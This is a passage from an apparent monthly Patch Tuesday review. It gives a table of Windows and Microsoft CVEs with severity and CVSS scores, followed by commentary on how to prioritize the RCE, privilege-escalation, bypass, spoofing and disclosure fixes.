Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a 